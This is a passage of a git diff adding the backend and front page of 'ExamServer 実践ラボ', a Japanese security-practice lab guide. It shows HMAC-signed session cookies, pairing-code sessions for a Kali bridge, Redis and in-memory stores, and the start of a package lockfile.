+const COOKIE_VERSION = "v1";
+
+function digest(value) {
+  return createHash("sha256").update(String(value), "utf8").digest();
+}
+
+export function constantTimeEqual(left, right) {
+  return timingSafeEqual(digest(left), digest(right));
+}
+
+export function hashSecret(value) {
+  return digest(value).toString("base64url");
+}
+
+export function opaqueToken(size = 32, randomBytes = nodeRandomBytes) {
+  return Buffer.from(randomBytes(size)).toString("base64url");
+}
+
+export function shortPairingCode(randomBytes = nodeRandomBytes) {
+  const entropy = Buffer.from(randomBytes(6));
+  if (entropy.length !== 6) {
+    throw new Error("randomBytes must return the requested byte count");
+  }
+  return Array.from(entropy, (byte) => PAIRING_ALPHABET[byte & 31]).join("");
+}
+
+export function pairingLookupKey(code, secret) {
+  return createHmac("sha256", secret)
+    .update(`pair:${code}`, "utf8")
+    .digest("base64url");
+}
+
+function cookieSignature(payload, secret) {
+  return createHmac("sha256", secret)
+    .update(`${COOKIE_VERSION}.${payload}`, "utf8")
+    .digest("base64url");
+}
+
+export function signSessionCookie({ sessionId, expiresAtMs }, secret) {
+  if (!SAFE_ID.test(sessionId) || !Number.isSafeInteger(expiresAtMs)) {
+    throw new Error("invalid session cookie payload");
+  }
+  const payload = Buffer.from(
+    JSON.stringify({ s: sessionId, e: expiresAtMs }),
+    "utf8",
+  ).toString("base64url");
+  return `${COOKIE_VERSION}.${payload}.${cookieSignature(payload, secret)}`;
+}
+
+export function verifySessionCookie(value, secret, nowMs) {
+  if (typeof value !== "string" || value.length > 1024) {
+    fail(401, "invalid_session", "接続情報を確認できません。");
+  }
+  const pieces = value.split(".");
+  if (
+    pieces.length !== 3 ||
+    pieces[0] !== COOKIE_VERSION ||
+    !constantTimeEqual(pieces[2], cookieSignature(pieces[1], secret))
+  ) {
+    fail(401, "invalid_session", "接続情報を確認できません。");
+  }
+
+  let decoded;
+  try {
+    const buffer = Buffer.from(pieces[1], "base64url");
+    if (buffer.toString("base64url") !== pieces[1]) throw new Error("encoding");
+    decoded = JSON.parse(buffer.toString("utf8"));
+  } catch {
+    fail(401, "invalid_session", "接続情報を確認できません。");
+  }
+  if (
+    decoded === null ||
+    typeof decoded !== "object" ||
+    Array.isArray(decoded) ||
+    Object.keys(decoded).sort().join(",") !== "e,s" ||
+    typeof decoded.s !== "string" ||
+    !SAFE_ID.test(decoded.s) ||
+    !Number.isSafeInteger(decoded.e)
+  ) {
+    fail(401, "invalid_session", "接続情報を確認できません。");
+  }
+  if (decoded.e <= nowMs) {
+    fail(410, "session_expired", "この接続は期限切れです。");
+  }
+  return { sessionId: decoded.s, expiresAtMs: decoded.e };
+}
+
+export function assertSecret(actual, expected, code = "unauthorized") {
+  if (
+    typeof actual !== "string" ||
+    typeof expected !== "string" ||
+    expected.length < 32 ||
+    !constantTimeEqual(actual, expected)
+  ) {
+    throw new CloudError(401, code, "認証できません。");
+  }
+}
+
+export function assertSafeId(value, label = "id") {
+  if (typeof value !== "string" || !SAFE_ID.test(value)) {
+    fail(400, "invalid_request", "リクエストが不正です。", `${label} is invalid`);
+  }
+  return value;
+}
+
+export function validateOrigin(value, label = "origin") {
+  let url;
+  try {
+    url = new URL(value);
+  } catch {
+    throw new Error(`${label} must be an absolute HTTP origin`);
+  }
+  if (
+    !["http:", "https:"].includes(url.protocol) ||
+    url.username ||
+    url.password ||
+    url.pathname !== "/" ||
+    url.search ||
+    url.hash
+  ) {
+    throw new Error(`${label} must be an absolute HTTP origin`);
+  }
+  return url.origin;
+}
diff --git a/apps/lab-guide/cloud/session-service.mjs b/apps/lab-guide/cloud/session-service.mjs
new file mode 100644
index 0000000..ce0756c
--- /dev/null
+++ b/apps/lab-guide/cloud/session-service.mjs
@@ -0,0 +1,508 @@
+import { CloudError, fail } from "./errors.mjs";
+import { validatePublicProjection } from "./projection.mjs";
+import { projectionHash, waitingProjection } from "./projection-state.mjs";
+import {
+  SAFE_ID,
+  assertSafeId,
+  assertSecret,
+  constantTimeEqual,
+  hashSecret,
+  opaqueToken,
+  pairingLookupKey,
+  shortPairingCode,
+  signSessionCookie,
+  validateOrigin,
+  verifySessionCookie,
+} from "./security.mjs";
+
+const ACTION_TYPES = new Set(["selectHypothesis", "unlockHint"]);
+const MAX_PENDING_ACTIONS = 32;
+const MAX_CAS_ATTEMPTS = 8;
+
+function positiveInteger(value, name, { minimum = 1, maximum } = {}) {
+  if (
+    !Number.isSafeInteger(value) ||
+    value < minimum ||
+    (maximum !== undefined && value > maximum)
+  ) {
+    throw new Error(`${name} is outside its supported range`);
+  }
+  return value;
+}
+
+function viewerPath(value) {
+  if (
+    typeof value !== "string" ||
+    !value.startsWith("/") ||
+    value.startsWith("//") ||
+    value.includes("?") ||
+    value.includes("#")
+  ) {
+    throw new Error("viewerPath must be an absolute path without query or fragment");
+  }
+  return value;
+}
+
+function exactRecordKeys(record) {
+  const expected = [
+    "actions",
+    "createdAt",
+    "expiresAtMs",
+    "lastBridgeAtMs",
+    "projection",
+    "projectionHash",
+    "sessionId",
+    "storeVersion",
+    "targetSessionId",
+    "uploadTokenHash",
+  ];
+  const actual = Object.keys(record).sort();
+  if (
+    actual.length !== expected.length ||
+    actual.some((key, index) => key !== expected[index])
+  ) {
+    throw new Error("stored session has unexpected fields");
+  }
+}
+
+function validIso(value) {
+  return (
+    typeof value === "string" &&
+    /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d{3}Z$/.test(value) &&
+    !Number.isNaN(Date.parse(value))
+  );
+}
+
+function validateAction(action) {
+  if (
+    action === null ||
+    typeof action !== "object" ||
+    Array.isArray(action) ||
+    Object.keys(action).sort().join(",") !== "createdAt,id,targetId,type" ||
+    typeof action.id !== "string" ||
+    !SAFE_ID.test(action.id) ||
+    !ACTION_TYPES.has(action.type) ||
+    typeof action.targetId !== "string" ||
+    !SAFE_ID.test(action.targetId) ||
+    !validIso(action.createdAt)
+  ) {
+    throw new Error("stored session contains an invalid action");
+  }
+}
+
+function validateStoredRecord(record, expectedSessionId) {
+  if (record === null || typeof record !== "object" || Array.isArray(record)) {
+    throw new Error("stored session is invalid");
+  }
+  exactRecordKeys(record);
+  if (
+    record.sessionId !== expectedSessionId ||
+    !SAFE_ID.test(record.sessionId) ||
+    !SAFE_ID.test(record.targetSessionId) ||
+    typeof record.uploadTokenHash !== "string" ||
+    record.uploadTokenHash.length < 32 ||
+    !Number.isSafeInteger(record.storeVersion) ||
+    record.storeVersion < 0 ||
+    !validIso(record.createdAt) ||
+    !Number.isSafeInteger(record.expiresAtMs) ||
+    (record.lastBridgeAtMs !== null &&
+      (!Number.isSafeInteger(record.lastBridgeAtMs) ||
+        record.lastBridgeAtMs < 0)) ||
+    !Array.isArray(record.actions) ||
+    record.actions.length > MAX_PENDING_ACTIONS
+  ) {
+    throw new Error("stored session is invalid");
+  }
+  record.actions.forEach(validateAction);
+  if (new Set(record.actions.map((action) => action.id)).size !== record.actions.length) {
+    throw new Error("stored session contains duplicate actions");
+  }
+
+  if (record.projection === null) {
+    if (record.projectionHash !== null) {
+      throw new Error("stored session has a hash without a projection");
+    }
+  } else {
+    const projection = validatePublicProjection(record.projection);
+    if (
+      projection.sessionId !== record.targetSessionId ||
+      typeof record.projectionHash !== "string" ||
+      !constantTimeEqual(projectionHash(projection), record.projectionHash)
+    ) {
+      throw new Error("stored session projection integrity check failed");
+    }
+  }
+  return record;
+}
+
+function validateAcknowledgements(value) {
+  const input = value === undefined ? [] : value;
+  if (
+    !Array.isArray(input) ||
+    input.length > 32 ||
+    input.some((id) => typeof id !== "string" || !SAFE_ID.test(id)) ||
+    new Set(input).size !== input.length
+  ) {
+    fail(
+      400,
+      "invalid_acknowledgement",
+      "完了通知が不正です。",
+      "ackActionIds must be unique safe identifiers",
+    );
+  }
+  return input;
+}
+
+function ensureActionTarget(record, type, targetId) {
+  if (!record.projection) {
+    fail(409, "state_not_ready", "進行情報が届くまで操作できません。");
+  }
+  if (type === "selectHypothesis") {
+    const hypothesis = record.projection.hypotheses.find(
+      (item) => item.id === targetId,
+    );
+    if (!hypothesis || hypothesis.available === false) {
+      fail(409, "action_unavailable", "この選択肢は現在利用できません。");
+    }
+    return;
+  }
+  const hint = record.projection.hints.find((item) => item.id === targetId);
+  if (!hint || hint.state !== "available") {
+    fail(409, "action_unavailable", "このヒントは現在利用できません。");
+  }
+}
+
+export class SessionService {
+  constructor({
+    store,
+    deploymentSecret,
+    cookieSecret,
+    publicOrigin,
+    viewerPath: configuredViewerPath = "/",
+    sessionTtlMs = 4 * 60 * 60 * 1_000,
+    pairingTtlMs = 5 * 60 * 1_000,
+    staleAfterMs = 12_000,
+    pollAfterMs = 1_000,
+    now = Date.now,
+    randomBytes,
+  }) {
+    if (!store) throw new Error("store is required");
+    if (typeof deploymentSecret !== "string" || deploymentSecret.length < 32) {
+      throw new Error("deploymentSecret must contain at least 32 characters");
+    }
+    if (typeof cookieSecret !== "string" || cookieSecret.length < 32) {
+      throw new Error("cookieSecret must contain at least 32 characters");
+    }
+    this.store = store;
+    this.deploymentSecret = deploymentSecret;
+    this.cookieSecret = cookieSecret;
+    this.publicOrigin =
+      publicOrigin === undefined ? undefined : validateOrigin(publicOrigin);
+    this.viewerPath = viewerPath(configuredViewerPath);
+    this.sessionTtlMs = positiveInteger(sessionTtlMs, "sessionTtlMs", {
+      minimum: 60_000,
+      maximum: 24 * 60 * 60 * 1_000,
+    });
+    this.pairingTtlMs = positiveInteger(pairingTtlMs, "pairingTtlMs", {
+      minimum: 30_000,
+      maximum: Math.min(this.sessionTtlMs, 30 * 60 * 1_000),
+    });
+    this.staleAfterMs = positiveInteger(staleAfterMs, "staleAfterMs", {
+      minimum: 1_000,
+      maximum: 5 * 60 * 1_000,
+    });
+    this.pollAfterMs = positiveInteger(pollAfterMs, "pollAfterMs", {
+      minimum: 250,
+      maximum: 10_000,
+    });
+    this.now = now;
+    this.randomBytes = randomBytes;
+  }
+
+  async #getLiveSession(sessionId) {
+    const record = await this.store.getSession(sessionId);
+    if (!record) {
+      fail(410, "session_expired", "この接続は期限切れです。");
+    }
+    validateStoredRecord(record, sessionId);
+    if (record.expiresAtMs <= this.now()) {
+      fail(410, "session_expired", "この接続は期限切れです。");
+    }
+    return record;
+  }
+
+  #remainingTtl(record) {
+    const remaining = record.expiresAtMs - this.now();
+    if (remaining < 1) {
+      fail(410, "session_expired", "この接続は期限切れです。");
+    }
+    return remaining;
+  }
+
+  #publicState(record) {
+    if (!record.projection) return waitingProjection(record.targetSessionId);
+    const projection = structuredClone(record.projection);
+    if (
+      record.lastBridgeAtMs !== null &&
+      this.now() - record.lastBridgeAtMs > this.staleAfterMs &&
+      projection.telemetry.status === "live"
+    ) {
+      projection.telemetry = {
+        status: "reconnecting",
+        message: "Kali Bridge からの更新を待っています。",
+      };
+    }
+    return projection;
+  }
+
+  async createSession({ deploymentToken, targetSessionId, requestOrigin }) {
+    assertSecret(
+      deploymentToken,
+      this.deploymentSecret,
+      "invalid_bridge_secret",
+    );
+    assertSafeId(targetSessionId, "targetSessionId");
+    const viewerOrigin =
+      this.publicOrigin ??
+      validateOrigin(requestOrigin, "incoming request origin");
+    const nowMs = this.now();
+    const expiresAtMs = nowMs + this.sessionTtlMs;
+
+    for (let attempt = 0; attempt < MAX_CAS_ATTEMPTS; attempt += 1) {
+      const sessionId = `session-${opaqueToken(18, this.randomBytes)}`;
+      const uploadToken = opaqueToken(32, this.randomBytes);
+      const pairingCode = shortPairingCode(this.randomBytes);
+      const record = {
+        storeVersion: 0,
+        sessionId,
+        targetSessionId,
+        uploadTokenHash: hashSecret(uploadToken),
+        createdAt: new Date(nowMs).toISOString(),
+        expiresAtMs,
+        lastBridgeAtMs: null,
+        projection: null,
+        projectionHash: null,
+        actions: [],
+      };
+      const created = await this.store.createSession({
+        sessionId,
+        pairingLookup: pairingLookupKey(pairingCode, this.cookieSecret),
+        record,
+        sessionTtlMs: this.sessionTtlMs,
+        pairingTtlMs: this.pairingTtlMs,
+      });
+      if (!created) continue;
+      return {
+        sessionId,
+        pairingCode,
+        uploadToken,
+        viewerUrl: new URL(this.viewerPath, viewerOrigin).toString(),
+        expiresAt: new Date(expiresAtMs).toISOString(),
+      };
+    }
+    throw new CloudError(
+      503,
+      "session_unavailable",
+      "接続を作成できませんでした。",
+    );
+  }
+
+  async pair(code) {
+    const normalized =
+      typeof code === "string" ? code.trim().toUpperCase() : "";
+    if (!/^[A-Z2-9]{6}$/.test(normalized)) {
+      fail(400, "invalid_pairing_code", "6文字の接続コードを入力してください。");
+    }
+    const sessionId = await this.store.consumePairing(
+      pairingLookupKey(normalized, this.cookieSecret),
+    );
+    if (!sessionId) {
+      fail(404, "pairing_unavailable", "接続コードを確認できません。");
+    }
+    const record = await this.#getLiveSession(sessionId);
+    return {
+      projection: this.#publicState(record),
+      cookieValue: signSessionCookie(
+        { sessionId: record.sessionId, expiresAtMs: record.expiresAtMs },
+        this.cookieSecret,
+      ),
+      expiresAtMs: record.expiresAtMs,
+    };
+  }
+
+  async pairedSession(cookieValue) {
+    const cookie = verifySessionCookie(
+      cookieValue,
+      this.cookieSecret,
+      this.now(),
+    );
+    const record = await this.#getLiveSession(cookie.sessionId);
+    if (record.expiresAtMs !== cookie.expiresAtMs) {
+      fail(401, "invalid_session", "接続情報を確認できません。");
+    }
+    return record;
+  }
+
+  async getState(cookieValue) {
+    return this.#publicState(await this.pairedSession(cookieValue));
+  }
+
+  async uploadSnapshot({
+    sessionId,
+    uploadToken,
+    projection,
+    ackActionIds,
+  }) {
+    assertSafeId(sessionId, "sessionId");
+    if (
+      typeof uploadToken !== "string" ||
+      uploadToken.length < 32 ||
+      uploadToken.length > 512 ||
+      /\s/.test(uploadToken)
+    ) {
+      fail(401, "invalid_upload_token", "認証できません。");
+    }
+    const acknowledgements = validateAcknowledgements(ackActionIds);
+    const sanitized = validatePublicProjection(projection);
+    const nextHash = projectionHash(sanitized);
+
+    for (let attempt = 0; attempt < MAX_CAS_ATTEMPTS; attempt += 1) {
+      const record = await this.#getLiveSession(sessionId);
+      assertSecret(
+        hashSecret(uploadToken),
+        record.uploadTokenHash,
+        "invalid_upload_token",
+      );
+      if (sanitized.sessionId !== record.targetSessionId) {
+        fail(
+          409,
+          "session_conflict",
+          "進行データの接続先が一致しません。",
+        );
+      }
+      if (
+        record.projection &&
+        sanitized.revision < record.projection.revision
+      ) {
+        fail(
+          409,
+          "revision_rollback",
+          "古い進行データは受け付けられません。",
+        );
+      }
+      if (
+        record.projection &&
+        sanitized.revision === record.projection.revision &&
+        !constantTimeEqual(nextHash, record.projectionHash)
+      ) {
+        fail(
+          409,
+          "revision_conflict",
+          "同じ版の進行データが一致しません。",
+        );
+      }
+
+      const acknowledged = new Set(acknowledgements);
+      const nextRecord = {
+        ...record,
+        storeVersion: record.storeVersion + 1,
+        lastBridgeAtMs: this.now(),
+        projection:
+          record.projection &&
+          sanitized.revision === record.projection.revision
+            ? record.projection
+            : sanitized,
+        projectionHash:
+          record.projection &&
+          sanitized.revision === record.projection.revision
+            ? record.projectionHash
+            : nextHash,
+        actions: record.actions.filter((action) => !acknowledged.has(action.id)),
+      };
+      const result = await this.store.compareAndSetSession({
+        sessionId,
+        expectedVersion: record.storeVersion,
+        record: nextRecord,
+        ttlMs: this.#remainingTtl(record),
+      });
+      if (result === "stored") return;
+      if (result === "missing") {
+        fail(410, "session_expired", "この接続は期限切れです。");
+      }
+    }
+    throw new CloudError(
+      503,
+      "concurrent_update",
+      "更新が重なりました。もう一度お試しください。",
+    );
+  }
+
+  async pollActions({ sessionId, uploadToken }) {
+    assertSafeId(sessionId, "sessionId");
+    const record = await this.#getLiveSession(sessionId);
+    assertSecret(
+      hashSecret(typeof uploadToken === "string" ? uploadToken : ""),
+      record.uploadTokenHash,
+      "invalid_upload_token",
+    );
+    return {
+      actions: structuredClone(record.actions),
+      pollAfterMs: this.pollAfterMs,
+    };
+  }
+
+  async queueAction({ cookieValue, type, targetId }) {
+    if (!ACTION_TYPES.has(type)) {
+      fail(404, "not_found", "このAPIはありません。");
+    }
+    assertSafeId(targetId, "targetId");
+    const cookie = verifySessionCookie(
+      cookieValue,
+      this.cookieSecret,
+      this.now(),
+    );
+
+    for (let attempt = 0; attempt < MAX_CAS_ATTEMPTS; attempt += 1) {
+      const record = await this.#getLiveSession(cookie.sessionId);
+      if (record.expiresAtMs !== cookie.expiresAtMs) {
+        fail(401, "invalid_session", "接続情報を確認できません。");
+      }
+      ensureActionTarget(record, type, targetId);
+      const duplicate = record.actions.find(
+        (action) => action.type === type && action.targetId === targetId,
+      );
+      if (duplicate) return this.#publicState(record);
+      if (record.actions.length >= MAX_PENDING_ACTIONS) {
+        fail(429, "action_queue_full", "操作が混み合っています。");
+      }
+      const action = {
+        id: `action-${opaqueToken(12, this.randomBytes)}`,
+        type,
+        targetId,
+        createdAt: new Date(this.now()).toISOString(),
+      };
+      const nextRecord = {
+        ...record,
+        storeVersion: record.storeVersion + 1,
+        actions: [...record.actions, action],
+      };
+      const result = await this.store.compareAndSetSession({
+        sessionId: record.sessionId,
+        expectedVersion: record.storeVersion,
+        record: nextRecord,
+        ttlMs: this.#remainingTtl(record),
+      });
+      if (result === "stored") return this.#publicState(nextRecord);
+      if (result === "missing") {
+        fail(410, "session_expired", "この接続は期限切れです。");
+      }
+    }
+    throw new CloudError(
+      503,
+      "concurrent_update",
+      "更新が重なりました。もう一度お試しください。",
+    );
+  }
+}
+
+export { ACTION_TYPES };
diff --git a/apps/lab-guide/cloud/store.mjs b/apps/lab-guide/cloud/store.mjs
new file mode 100644
index 0000000..626b6ae
--- /dev/null
+++ b/apps/lab-guide/cloud/store.mjs
@@ -0,0 +1,225 @@
+const CREATE_SESSION_SCRIPT = `
+if redis.call("EXISTS", KEYS[1]) == 1 or redis.call("EXISTS", KEYS[2]) == 1 then
+  return 0
+end
+redis.call("SET", KEYS[1], ARGV[1], "PX", ARGV[3])
+redis.call("SET", KEYS[2], ARGV[2], "PX", ARGV[4])
+return 1
+`;
+
+const COMPARE_AND_SET_SCRIPT = `
+local current = redis.call("GET", KEYS[1])
+if not current then
+  return -1
+end
+local ok, decoded = pcall(cjson.decode, current)
+if not ok or tonumber(decoded.storeVersion) ~= tonumber(ARGV[1]) then
+  return 0
+end
+redis.call("SET", KEYS[1], ARGV[2], "PX", ARGV[3])
+return 1
+`;
+
+const CONSUME_PAIRING_SCRIPT = `
+local sessionId = redis.call("GET", KEYS[1])
+if not sessionId then
+  return false
+end
+redis.call("DEL", KEYS[1])
+return sessionId
+`;
+
+function ttl(value, name) {
+  if (!Number.isSafeInteger(value) || value < 1) {
+    throw new Error(`${name} must be a positive integer`);
+  }
+  return value;
+}
+
+function clone(value) {
+  return value === null ? null : structuredClone(value);
+}
+
+function decodeRecord(value) {
+  if (value === null || value === undefined) return null;
+  if (typeof value === "string") return JSON.parse(value);
+  if (typeof value === "object" && !Array.isArray(value)) return clone(value);
+  throw new Error("Redis returned an invalid session record");
+}
+
+export class MemorySessionStore {
+  #sessions = new Map();
+  #pairings = new Map();
+
+  constructor({ now = Date.now } = {}) {
+    this.now = now;
+  }
+
+  #live(entry, collection, key) {
+    if (!entry) return null;
+    if (entry.expiresAtMs <= this.now()) {
+      collection.delete(key);
+      return null;
+    }
+    return entry;
+  }
+
+  async createSession({
+    sessionId,
+    pairingLookup,
+    record,
+    sessionTtlMs,
+    pairingTtlMs,
+  }) {
+    ttl(sessionTtlMs, "sessionTtlMs");
+    ttl(pairingTtlMs, "pairingTtlMs");
+    if (
+      this.#live(this.#sessions.get(sessionId), this.#sessions, sessionId) ||
+      this.#live(this.#pairings.get(pairingLookup), this.#pairings, pairingLookup)
+    ) {
+      return false;
+    }
+    const nowMs = this.now();
+    this.#sessions.set(sessionId, {
+      value: clone(record),
+      expiresAtMs: nowMs + sessionTtlMs,
+    });
+    this.#pairings.set(pairingLookup, {
+      value: sessionId,
+      expiresAtMs: nowMs + pairingTtlMs,
+    });
+    return true;
+  }
+
+  async getSession(sessionId) {
+    const entry = this.#live(
+      this.#sessions.get(sessionId),
+      this.#sessions,
+      sessionId,
+    );
+    return entry ? clone(entry.value) : null;
+  }
+
+  async compareAndSetSession({
+    sessionId,
+    expectedVersion,
+    record,
+    ttlMs,
+  }) {
+    ttl(ttlMs, "ttlMs");
+    const current = this.#live(
+      this.#sessions.get(sessionId),
+      this.#sessions,
+      sessionId,
+    );
+    if (!current) return "missing";
+    if (current.value.storeVersion !== expectedVersion) return "conflict";
+    this.#sessions.set(sessionId, {
+      value: clone(record),
+      expiresAtMs: this.now() + ttlMs,
+    });
+    return "stored";
+  }
+
+  async consumePairing(pairingLookup) {
+    const entry = this.#live(
+      this.#pairings.get(pairingLookup),
+      this.#pairings,
+      pairingLookup,
+    );
+    if (!entry) return null;
+    this.#pairings.delete(pairingLookup);
+    return entry.value;
+  }
+}
+
+export class RedisSessionStore {
+  constructor({ redis, prefix = "examserver:lab-guide:v1" }) {
+    if (
+      !redis ||
+      typeof redis.get !== "function" ||
+      typeof redis.eval !== "function"
+    ) {
+      throw new Error("redis client must provide get and eval");
+    }
+    if (
+      typeof prefix !== "string" ||
+      prefix.length < 1 ||
+      prefix.length > 100 ||
+      /[\r\n]/.test(prefix)
+    ) {
+      throw new Error("Redis key prefix is invalid");
+    }
+    this.redis = redis;
+    this.prefix = prefix;
+  }
+
+  #sessionKey(sessionId) {
+    return `${this.prefix}:session:${sessionId}`;
+  }
+
+  #pairingKey(pairingLookup) {
+    return `${this.prefix}:pair:${pairingLookup}`;
+  }
+
+  async createSession({
+    sessionId,
+    pairingLookup,
+    record,
+    sessionTtlMs,
+    pairingTtlMs,
+  }) {
+    const result = await this.redis.eval(
+      CREATE_SESSION_SCRIPT,
+      [this.#sessionKey(sessionId), this.#pairingKey(pairingLookup)],
+      [
+        JSON.stringify(record),
+        sessionId,
+        ttl(sessionTtlMs, "sessionTtlMs"),
+        ttl(pairingTtlMs, "pairingTtlMs"),
+      ],
+    );
+    return Number(result) === 1;
+  }
+
+  async getSession(sessionId) {
+    return decodeRecord(await this.redis.get(this.#sessionKey(sessionId)));
+  }
+
+  async compareAndSetSession({
+    sessionId,
+    expectedVersion,
+    record,
+    ttlMs,
+  }) {
+    const result = Number(
+      await this.redis.eval(
+        COMPARE_AND_SET_SCRIPT,
+        [this.#sessionKey(sessionId)],
+        [
+          expectedVersion,
+          JSON.stringify(record),
+          ttl(ttlMs, "ttlMs"),
+        ],
+      ),
+    );
+    if (result === 1) return "stored";
+    if (result === -1) return "missing";
+    return "conflict";
+  }
+
+  async consumePairing(pairingLookup) {
+    const result = await this.redis.eval(
+      CONSUME_PAIRING_SCRIPT,
+      [this.#pairingKey(pairingLookup)],
+      [],
+    );
+    return typeof result === "string" && result.length > 0 ? result : null;
+  }
+}
+
+export const redisScripts = Object.freeze({
+  createSession: CREATE_SESSION_SCRIPT,
+  compareAndSet: COMPARE_AND_SET_SCRIPT,
+  consumePairing: CONSUME_PAIRING_SCRIPT,
+});
diff --git a/apps/lab-guide/index.html b/apps/lab-guide/index.html
new file mode 100644
index 0000000..1805f05
--- /dev/null
+++ b/apps/lab-guide/index.html
@@ -0,0 +1,36 @@
+<!doctype html>
+<html lang="ja">
+  <head>
+    <meta charset="UTF-8" />
+    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
+    <meta
+      name="description"
+      content="ExamServer 実践ラボの探索地図と状況相談"
+    />
+    <meta property="og:type" content="website" />
+    <meta property="og:title" content="ExamServer 実践ラボ" />
+    <meta
+      property="og:description"
+      content="直結KaliからDebian標的を探索する、初心者向けオープンワールド型セキュリティ実践ガイド。"
+    />
+    <meta
+      property="og:image"
+      content="https://exam-server-one.vercel.app/lab/og.png"
+    />
+    <meta name="twitter:card" content="summary_large_image" />
+    <meta name="twitter:title" content="ExamServer 実践ラボ" />
+    <meta
+      name="twitter:description"
+      content="直結KaliからDebian標的を探索する、初心者向けオープンワールド型セキュリティ実践ガイド。"
+    />
+    <meta
+      name="twitter:image"
+      content="https://exam-server-one.vercel.app/lab/og.png"
+    />
+    <title>ExamServer 実践ラボ</title>
+  </head>
+  <body>
+    <div id="root"></div>
+    <script type="module" src="/src/main.tsx"></script>
+  </body>
+</html>
diff --git a/apps/lab-guide/package-lock.json b/apps/lab-guide/package-lock.json
new file mode 100644
index 0000000..f9fe851
--- /dev/null
+++ b/apps/lab-guide/package-lock.json
@@ -0,0 +1,3171 @@
+{
+  "name": "lab-guide",
+  "version": "0.0.0",
+  "lockfileVersion": 3,
+  "requires": true,
+  "packages": {
+    "": {
+      "name": "lab-guide",
+      "version": "0.0.0",
+      "dependencies": {
+        "@fontsource-variable/geist-mono": "^5.3.0",
+        "@tabler/icons-react": "^3.45.0",
+        "@upstash/redis": "^1.38.0",
+        "@vitejs/plugin-react": "5.0.4",
+        "@xyflow/react": "^12.11.0",
+        "react": "19.2.0",
+        "react-dom": "19.2.0",
+        "vite": "6.4.3"
+      },
+      "devDependencies": {
+        "@rollup/rollup-win32-x64-msvc": "^4.62.2",
+        "@testing-library/jest-dom": "^6.9.1",
+        "@testing-library/react": "^16.3.2",
+        "@testing-library/user-event": "^14.6.1",
+        "@types/react": "^19.2.17",
+        "@types/react-dom": "^19.2.3",
+        "jsdom": "^29.1.1",
+        "typescript": "^5.9.3",
+        "vitest": "^4.1.10"
+      }
+    },
+    "node_modules/@adobe/css-tools": {
+      "version": "4.5.0",
+      "resolved": "https://registry.npmjs.org/@adobe/css-tools/-/css-tools-4.5.0.tgz",
+      "integrity": "sha512-6OzddxPio9UiWTCemp4N8cYLV2ZN1ncRnV1cVGtve7dhPOtRkleRyx32GQCYSwDYgaHU3USMm84tNsvKzRCa1Q==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/@asamuzakjp/css-color": {
+      "version": "5.1.11",
+      "resolved": "https://registry.npmjs.org/@asamuzakjp/css-color/-/css-color-5.1.11.tgz",
+      "integrity": "sha512-KVw6qIiCTUQhByfTd78h2yD1/00waTmm9uy/R7Ck/ctUyAPj+AEDLkQIdJW0T8+qGgj3j5bpNKK7Q3G+LedJWg==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@asamuzakjp/generational-cache": "^1.0.1",
+        "@csstools/css-calc": "^3.2.0",
+        "@csstools/css-color-parser": "^4.1.0",
+        "@csstools/css-parser-algorithms": "^4.0.0",
+        "@csstools/css-tokenizer": "^4.0.0"
+      },
+      "engines": {
+        "node": "^20.19.0 || ^22.12.0 || >=24.0.0"
+      }
+    },
+    "node_modules/@asamuzakjp/dom-selector": {
+      "version": "7.1.1",
+      "resolved": "https://registry.npmjs.org/@asamuzakjp/dom-selector/-/dom-selector-7.1.1.tgz",
+      "integrity": "sha512-67RZDnYRc8H/8MLDgQCDE//zoqVFwajkepHZgmXrbwybzXOEwOWGPYGmALYl9J2DOLfFPPs6kKCqmbzV895hTQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@asamuzakjp/generational-cache": "^1.0.1",
+        "@asamuzakjp/nwsapi": "^2.3.9",
+        "bidi-js": "^1.0.3",
+        "css-tree": "^3.2.1",
+        "is-potential-custom-element-name": "^1.0.1"
+      },
+      "engines": {
+        "node": "^20.19.0 || ^22.12.0 || >=24.0.0"
+      }
+    },
+    "node_modules/@asamuzakjp/generational-cache": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/@asamuzakjp/generational-cache/-/generational-cache-1.0.1.tgz",
+      "integrity": "sha512-wajfB8KqzMCN2KGNFdLkReeHncd0AslUSrvHVvvYWuU8ghncRJoA50kT3zP9MVL0+9g4/67H+cdvBskj9THPzg==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": "^20.19.0 || ^22.12.0 || >=24.0.0"
+      }
+    },
+    "node_modules/@asamuzakjp/nwsapi": {
+      "version": "2.3.9",
+      "resolved": "https://registry.npmjs.org/@asamuzakjp/nwsapi/-/nwsapi-2.3.9.tgz",
+      "integrity": "sha512-n8GuYSrI9bF7FFZ/SjhwevlHc8xaVlb/7HmHelnc/PZXBD2ZR49NnN9sMMuDdEGPeeRQ5d0hqlSlEpgCX3Wl0Q==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/@babel/code-frame": {
+      "version": "7.29.7",
+      "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.7.tgz",
+      "integrity": "sha512-Aup7aUOfpbAUg2ROOJN6Iw5f9DMBlzu0mIkm/malLQFN/YQgO48wCj0Kxa3sEHJvPVFg7siR+qRInwXd2qhQKw==",
+      "license": "MIT",
+      "dependencies": {
+        "@babel/helper-validator-identifier": "^7.29.7",
+        "js-tokens": "^4.0.0",
+        "picocolors": "^1.1.1"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/compat-data": {
+      "version": "7.29.7",
+      "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.29.7.tgz",
+      "integrity": "sha512-locTkQyKvwIEgBzVrn8693ebc97F2U8ZHjbXwDXJ5Fn2TCpNwTlKcaKLkdHop5c/icOFE7qt7Q9JC5hnKNa6Gg==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/core": {
+      "version": "7.29.7",
+      "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.29.7.tgz",
+      "integrity": "sha512-RgHBCvtjbOK2gXSNBNIkNoEc9qoVEtau3hj8gEqKQuL3HZAibKarWFEI3Lfm6EYKkLalOh8eSrj9b+ch9H/VBA==",
+      "license": "MIT",
+      "dependencies": {
+        "@babel/code-frame": "^7.29.7",
+        "@babel/generator": "^7.29.7",
+        "@babel/helper-compilation-targets": "^7.29.7",
